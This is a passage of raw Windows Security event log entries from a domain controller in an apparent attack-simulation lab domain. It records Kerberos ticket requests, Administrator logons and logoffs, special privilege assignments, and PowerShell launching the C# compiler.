- -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/12/2021 02:33:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=257744 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/12/2021 02:33:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257743 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x53E24A - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x99c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x60c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES3E03.tmp" "c:\Users\Administrator\AppData\Local\Temp\CSCF0EF6E1972CB48A1A98F6FCBD63A8F.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257742 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x53E24A - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x60c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xde4 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\ylvbyvhf.cmdline" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257741 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x54186E - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 02:33:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257740 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x54186E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {7F565D91-968B-DE4F-AA22-ADADBF1E1E09} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:33:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257739 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {7F565D91-968B-DE4F-AA22-ADADBF1E1E09} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/12/2021 02:33:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=257738 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {7F565D91-968B-DE4F-AA22-ADADBF1E1E09} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/12/2021 02:33:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=257737 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/12/2021 02:33:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257736 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x53E24A - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11b0 - New Process Name: C:\Windows\System32\chcp.com - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xde4 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\chcp.com" 65001 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:17 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257751 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x53E24A - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x61c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xca0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES4A28.tmp" "c:\Users\Administrator\AppData\Local\Temp\2furibnf\CSC9D91FFB7985745A9A1924AB23474D441.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:17 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257750 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x53E24A - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xca0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1320 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\2furibnf\2furibnf.cmdline" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:31 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257773 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x5502A0 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 02:33:31 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257772 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x5502A0 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {E94FD8E4-BE8A-2A03-4CCB-5AD89073FB8C} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:33:31 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257771 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {E94FD8E4-BE8A-2A03-4CCB-5AD89073FB8C} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/12/2021 02:33:31 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=257770 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {E94FD8E4-BE8A-2A03-4CCB-5AD89073FB8C} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/12/2021 02:33:31 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=257769 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/12/2021 02:33:31 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257768 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x54FF8A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:33:31 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257767 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x53E24A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:33:31 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257766 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x53EBEE - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:33:31 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257765 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x54FF8A - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 02:33:31 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257764 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x54FF8A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {E94FD8E4-BE8A-2A03-4CCB-5AD89073FB8C} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:33:31 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257763 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {E94FD8E4-BE8A-2A03-4CCB-5AD89073FB8C} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/12/2021 02:33:31 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=257762 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {E94FD8E4-BE8A-2A03-4CCB-5AD89073FB8C} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/12/2021 02:33:31 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=257761 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/12/2021 02:33:31 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257760 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x54FF43 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:33:31 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257759 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x54FF43 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 02:33:31 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257758 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x54FF43 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {E94FD8E4-BE8A-2A03-4CCB-5AD89073FB8C} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - 